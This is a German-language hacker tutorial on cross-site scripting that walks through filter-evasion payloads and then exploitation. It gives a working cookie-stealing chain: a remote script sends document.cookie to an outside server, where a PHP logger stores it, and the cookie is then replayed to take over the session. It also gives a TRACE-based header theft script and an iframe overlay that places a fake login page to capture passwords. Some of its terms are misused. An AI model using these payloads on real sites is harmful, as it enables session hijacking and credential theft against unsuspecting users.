1. vorwort
2. was ist xss ?
3. xss bugs finden
4. xss bugs ausnutzen
5. xss und seine abwandlungen
x. tut by unnex
1. vorwort
so leutz da ich oft danach gefragt wurde ob ich nich ma en xss tut machen koennte,
gibts jetzt eins von mir
ich weis jetzt nich genau ob davon einige sache no pub sind da ich mir alles so gut
wie ohne fremde einwirkung beigebracht hab. also nich sauer wenn wenn einer methoden
sieht wo er meint das sie eigentlich np sein sollten^^
2. was ist xss ?
xss urspruenglich css (cross site scripting). wurde aber im laufe der zeit auf xss
umgeaendert um verwechslungen mit der scriptsprache css zu vermeiden.
xss ist das ausnutzen von sicherheitsluecken in webanwendungen was meist durch
das ausbrechen aus einer scriptstelle des eigentlichen scriptes der webanwendung passiert.
außer dieser methode gibt es nich eine viezahl an abwandlungen zb. http request smuggling,
xss-tracing, xss phishing... aber dazu weiteres unter punkt 5.
3. xss bugs finden
in diesem punkt gehe ich speziell nur auf cross site scripting ein.
also wie gesagt ist es das ausbrechen aus dem eigentlich "geschuetzen" code.
nehmen wir mal eine normale php mit annahme eines get parameters:
test.php:
<?php if (isset($_GET["text"])) { echo "ihr text lautet: " . $_GET["text"]; exit;
} else { echo "sie haben keinen text angegeben"; } ?>
die ausfuehrng von "test.php?text=hallo" wuerde "ihr text lautet: hallo" ausgeben.
im script sehen wir nixs davon das javascript oder html aussortiert wird. also
ist es hier aufs schlimmste einfach xss auszufuehren "test.php?text=<script>alert("xss")</script>".
wuerde uns unser javascript direkt ausfuehren. anders sieht es da aus wenn die gesendeten
daten in einer textbox oder aehnlichen ausgegeben werden. wir sehen uns das mal in form
eines inputfeldes eines formulars an. diesmal wird die eingabe als post parameter uebergeben.
also wir senden sagen wir mal "test" ab und dann sieht das inputfeld im html quelltext
in etwa so aus:
<input type="text" value="test" name="login">
wenn wir jetzt versuchen javascript code zu senden wird der am ende nur in der textbox ausgegeben
also zb: <input type="text" value="<script>alert("xss")</script>" name="login"> und somit nicht
ausgefuehrt. also muss das input feld vorzeitig geschlossen werden. also versuchen wirs mit:
test"><script>alert("xss")</script>
die ausgabe waere dann folgendes:
<input type="text" value="test"><script>alert("xss")</script>" name="login">
wir merken das durch "> das ganze input feld geschlossen wurde... und der rest frei im html
code asufuehrbar ist. somit xss vuln
das selbe prinzip auch mit '> oder ">'> umsetzbar.
nun kann es vorkommen das solche zeichen vom script aussortiert werden. bei solchen faellen
ist es dann schon relative schwer etwas zu finden. allerdings kann man auch da entgegen wirken.
nehmen wir mal an ",',> wird aussortiert. dann ist es praktich unmoeglich in dieser
speziellen form etwas auszurichten. dann muss man sich andere moeglichkeiten suchen
html oder javascript codes ohne " oder ' usw... aus zu fuehren. zb ein linkfeld waere dafuer
gut geeignet. sagen wir mal man gibt in einem profil seine homepage an und die genannten zeichen
werden aussortiert. wenn ihr jetzt im browser folgendes eingebt wird javascript ausgefuehrt:
javascript
:alert(0)
der browser gibt per javascript anwendung "0" aus. dieses prinzip laesst sich auch bei link
feldern umsetzen:
<a href="javascript
:alert(0)">meine seite</a>
klickt der user nun auf den link dann wird javascript ausgefuehrt und somit vuln.
werden auch da wieder zeichen aussortiert oder auf die angabe von http:// oder aehnlichen
wer gelegt so muss man dabei etwas variieren zb:
javascript
:alert(0);
oder bei speziellen aussortierungen wie vbulletin oder smf...
javascript
://%0adocument.write('<script>alert(0)</script>')
muss man halt in den quelltext sehen um zu erfahren wie und was aussortiert wird und
wie man es eventuell umgehen koennte.
eine andere moeglichkeit waere mit befehlen wie onload oder onclick, onblur usw...
das gewuenschte ziel zu erreichen. also sagen wir mal wir haben einen <body>
und koennen zb die farbe der html ausgabe selber bestimmen:
<body bgcolor=#fffff>
was ich hier grade gezeigt habe ist ein fataler programmierfehler es klappt
zwar die ausgabe der farbe usw... aber auch wenn zeichen wie " oder ' oder <,>
raus genommen werden is es imemrnoch moeglich xss zu starten zb mit:
<body bgcolor= onload=alert(0)>
eine weitere variante waere auch zu sehen ob der eingegeben text im title
aufgefuehrt wird... das wird oft bei suchfeldern so gehandhabt.
also zb wir geben ein "das such ich" und im titel wird <title>das such ich</title>
einfeguegt. dann schließen wir den titel einfach:
<title></title>xss</title>
und schon sind wir aus dem titelfeld raus und koennen wieder frei xss usen.
ich denke mal man merkt schon das die varianten sehr vielseitig sein koennen
und man nur ein bisschen rummprobieren brauch und mit en bissl glueck dann einen
erfolg verzeichnen kann.
4. xss bugs ausnutzen
cross site scripting laeuft meist darauf hinaus das die cookies eines users ausgelesen
und an einen entferneten server weitergeleitet. das kann man zb so machen:
<script src=http://server.de/xss.js></script><body onload=q();></body>
mit dieser zeile rufen wir ein script von einem entfernetn server auf der dann alles weitere
verarbeitet. also koennte das script in etwa so aussehen:
xss.js:
function q() { location.href="http://server.de/c.php?cookie="+escape(document.cookie); }
das script leitet uns mit dem cookie im gepaeck an die entsprechende php datei weiter
die das cookie dann annimmt und abspeichert:
c.php:
<?php if (isset($_GET["cookie"])) { $filename="log.txt";
$fp = fopen($filename,'w');
fwrite($fp, $_GET["cookie"]);
fclose($fp); } ?>
soweit so gut. nun nur noch das cookie nehmen und bei der entsprechenden seite im header
aendern und wir sind eingeloggt.
5. xss und seine abwandlungen
eine abwandlung waere zb. http request smuggling. dabei werden daten die direct vom header
uebergeben werden abgeaendert. sagen wir mal unsere php datei sieht folgendermasen aus:
login.php:
<?php echo "<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">";
echo "<input type=\"text\" name=\"user\"><input type=\"submit\" value=\"submit\"></form>"; ?>
unser link waere dann /index.php. die php datei fuegt automatich den index.php als empfaenger
fuer die daten des formulars ein. gehen wir aber nun ueber zb diesen link:
/index.php/"><script>alert(0)</script> dann sieht die form nicht mehr so aus:
<form action="index.php" mathod="post">
sonder:
<form action="/index.php/"><script>alert(0)</script>" mathod="post">
und wieder sind wir aus dem eingabefeld raus und koenenn frei xss nutzen.
eine weitere methode ist xss-tracing. was aber sehr selten zum einsatz kommt da nur veraltete
browser dass cross site http requesting zulassen:
<script type="text/javascript">
function sendTrace() {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://google.de",false);
xmlHttp.send();
xmlDoc=xmlHttp.resonseText;
alert(xmlDoc); } </script>
"xmlDoc" enthaelt nun den header der von google an den entsprechenden browsergesendet wurde.
also auch cookies... usw...
was dann passiert is klar ? einfach weiterleiten, abspeichern lassen und fertig.
zu guter letzt moechte ich noch eine methode beschreiben die mir vor einiger zeit selber eingefallen
ist und schon erfolgreich zum einsatz gekommen ist. dabei gehts um xss phishing... hirbei wird
einfach per xss eine zweite seite ueber die alte gelegt. zb mit loginfeld usw...
nehmen wir mal an der server speichert keine cookies ist aber xss vuln. dann legen wir per xss
einfach eine zweite form drueber zb:
<html>
</head>
<style type="text/css">
td {
margin: 0cm
}
</style>
</head>
<body>
<iframe src="ixing.php" name="a" style="border: 0; width: 0%; height: 0%"></iframe>
<td>
<iframe src="http://xssserver.de/nachgestellteseite.php" name="b" style="border: 0; width: 100%; height: 100%"></iframe>
</td>
</body>
</html>
der user denkt... na holla die waldfee, neu einloggen -.- naja der server, die adresse usw...
stimmt alles... dann mal los
die eingabe wird geloggt und fertig. sowas is oft ganz hilfreich
wenn der server an den user keine cookies vergibt. oder nur bei bestimmten php's oder adressen
ein cookie abgefragt oder vergeben wird.
------------------------
so das wars erstma...
tut darf in unabgeaenderter form frei kopiert werden.
------------------------
//edit
kurze anmerkung: xss wird immer clientseitig ausgefuehrt!
